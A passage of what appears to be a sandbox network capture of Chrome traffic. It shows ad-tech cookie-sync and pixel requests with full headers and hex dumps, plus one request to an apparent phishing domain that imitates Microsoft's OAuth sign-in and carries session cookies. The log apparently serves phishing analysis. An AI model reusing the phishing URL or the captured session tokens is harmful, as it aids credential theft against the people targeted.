14:11:02 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:11:02 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50135	3.1.88.234	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:01 UTC	763	OUT	GET /map/ct=y/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=46356403213087719583427206263392261374?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id} HTTP/1.1 Host: sync.crwdcntrl.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cc_cc=ctst
2024-12-10 14:11:02 UTC	727	IN	HTTP/1.1 302 Found Date: Tue, 10 Dec 2024 14:11:02 GMT Content-Length: 0 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.42.1.96 Set-Cookie: _cc_dc=2;Path=/;Domain=crwdcntrl.net;Expires=Sat, 06-Sep-2025 14:09:00 GMT;SameSite=None;Secure Set-Cookie: _cc_id=2c055873a58a6493ce40f14d6988a56e;Path=/;Domain=crwdcntrl.net;Expires=Sat, 06-Sep-2025 14:09:00 GMT;SameSite=None;Secure Set-Cookie: _cc_cc="";Version=1;Path=/;Domain=crwdcntrl.net;Expires=Thu, 01-Jan-1970 02:01:00 GMT;Max-Age=0;SameSite=None;Secure Location: https://dpm.demdex.net/ibs:dpid=121998&dpuuid=2c055873a58a6493ce40f14d6988a56e Server: Jetty(9.4.38.v20210224)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50142	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:02 UTC	1181	OUT	GET /ibs:dpid=782&dpuuid=Z1hL5gAAAMiWjgOJ HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:11:02 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:11:02 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: Pn3BO34VTIw= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-00243b50e.edge-irl1.demdex.com 3 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:02 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:02 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:11:02 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50145	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:02 UTC	2725	OUT	GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6 HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3uGF_ewTku8Ae7AAQAAA [TRUNCATED]
2024-12-10 14:11:33 UTC	30	IN	HTTP/1.1 408 Request Timeout
2024-12-10 14:11:33 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:11:33 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:11:33 UTC	32	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 0d 0a Data Ascii: Content-Type: application/json
2024-12-10 14:11:33 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-12-10 14:11:33 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:11:33 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-12-10 14:11:33 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50146	104.18.27.193	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:02 UTC	634	OUT	GET /rum?cm_dsp_id=88&external_user_id=Z1hL5gAAAMiWjgOJ HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:11:03 UTC	1164	IN	HTTP/1.1 302 Found Date: Tue, 10 Dec 2024 14:11:03 GMT Content-Length: 0 Connection: close Location: /rum?cm_dsp_id=88&external_user_id=Z1hL5gAAAMiWjgOJ&C=1 CF-Ray: 8efdd267cdd332e2-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Z1hL99HM6csAAFiyAbya6wAA; Path=/; Domain=casalemedia.com; Expires=Wed, 10 Dec 2025 14:11:03 GMT; Max-Age=31536000; Secure; SameSite=None Pragma: no-cache P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Set-Cookie: CMPS=3631; Path=/; Domain=casalemedia.com; Expires=Mon, 10 Mar 2025 14:11:03 GMT; Max-Age=7776000; Secure; SameSite=None Set-Cookie: CMPRO=3631; Path=/; Domain=casalemedia.com; Expires=Mon, 10 Mar 2025 14:11:03 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FMhrQq2%2FwS4bgQgRQCIDrzBHoD7UF6TS3ipK49kjQjp7F9eb3pGL%2Fnx5dRLjCERUjHqAnKpgJenBkUMetneiXS36VEcPCwI6JeavAfyJTuoC0n8IiMtgCrgmb67OyGgV8QlwJrqmO%2B7PeA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50144	37.252.171.149	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:02 UTC	798	OUT	GET /setuid?entity=158&code=Z1hL5gAAAMiWjgOJ HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=jCJvPTTfpni5NPC1PhDUL-ybYzWXeoUE32XRKIyOtKxoAMYLfqWe8xBepN0Sk2OMRuZtfGZvwxmg9FgOVQSt-sTwhHtD74XBbvp-CrVsdDU.; receive-cookie-deprecation=1; uuid2=6105356000114051776
2024-12-10 14:11:03 UTC	1518	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Tue, 10 Dec 2024 14:11:03 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 1da57990-6d9d-4e97-b8b0-ed360ae56b90 Set-Cookie: XANDR_PANID=jCJvPTTfpni5NPC1PhDUL-ybYzWXeoUE32XRKIyOtKxoAMYLfqWe8xBepN0Sk2OMRuZtfGZvwxmg9FgOVQSt-sTwhHtD74XBbvp-CrVsdDU.; SameSite=None; Path=/; Max-Age=7776000; Expires=Mon, 10-Mar-2025 14:11:03 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M4.FErk#WF']wIg2IlkwPuH[!]tbPl1MwL(!R7qUY%iHP9%(`YWJX(EuDDkcV+g4prw!G<QG=%9sk?bIRwi:w9Ld1t)J26FiqPY/y@Yw#ttU8*z/+p; SameSite=None; Path=/; Max-Age=7776000; Expires=Mon, 10-Mar-2025 14:11:03 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Tue, 28-Nov-2034 14:11:03 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6105356000114051776; SameSite=None; Path=/; Max-Age=7776000; Expires=Mon, 10-Mar-2025 14:11:03 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 984.bm-nginx-loadbalancer.mgmt.fra1.adnexus.net; adnxs.com
2024-12-10 14:11:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50148	35.244.159.8	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:03 UTC	616	OUT	GET /w/1.0/sd?id=537148856&val=Z1hL5gAAAMiWjgOJ HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:11:03 UTC	505	IN	HTTP/1.1 302 Found Date: Tue, 10 Dec 2024 14:11:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 0 X-Forwarded-For: 8.46.123.175 Vary: Origin Location: https://us-u.openx.net/w/1.0/sd?id=537148856&val=Z1hL5gAAAMiWjgOJ&cc=1 P3p: CP="CUR ADM OUR NOR STA NID" Set-Cookie: i=cd13dc8f-412b-40d0-bee1-a6fa43a74938\|1733839863; max-age=31536000; domain=.openx.net; path=/; secure; SameSite=None Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50154	151.101.1.44	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:03 UTC	609	OUT	GET /sg/adobe/1/cm?gdpr=0&gdpr_consent= HTTP/1.1 Host: trc.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:11:04 UTC	595	IN	HTTP/1.1 200 OK Connection: close Server: nginx Cache-Control: no-cache, no-store Pragma: no-cache P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true X-Fastly-to-NLB-rtt: 16509 Accept-Ranges: bytes Date: Tue, 10 Dec 2024 14:11:04 GMT Via: 1.1 varnish X-SERVICE-VERSION: v1 X-Served-By: cache-ewr-kewr1740051-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1733839864.060954,VS0,VE18 X-vcl-time-ms: 18 transfer-encoding: chunked
2024-12-10 14:11:04 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2024-12-10 14:11:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;
2024-12-10 14:11:04 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50152	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:03 UTC	1207	OUT	GET /ibs:dpid=30646?dpuuid=y-06NGrQJE2pE28EYCIxdbKk9v8JKOzJTaXfE-~A HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:11:04 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:11:04 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: K+1IA84nSdE= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0ade94f91.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:04 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:04 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:11:04 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50153	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:03 UTC	1436	OUT	GET /ibs:dpid=121998&dpuuid=2c055873a58a6493ce40f14d6988a56e HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:11:04 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:11:04 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: HiIyh/ERTbo= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-07644bcdf.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:04 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:04 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:11:04 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50155	172.217.17.34	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:04 UTC	612	OUT	GET /pixel?google_nid=g8f47s39e399f3fe&google_push&google_sc&google_hm=WjFoTDVnQUFBTWlXamdPSg== HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmQ_f_CjFj0b1W5zdLfeUU4tsgnQqTkAloPZ2LWEBJBszA-nP0k9RGGFf3qhKo
2024-12-10 14:11:05 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 10 Dec 2024 14:11:04 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-10 14:11:05 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50159	104.18.27.193	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
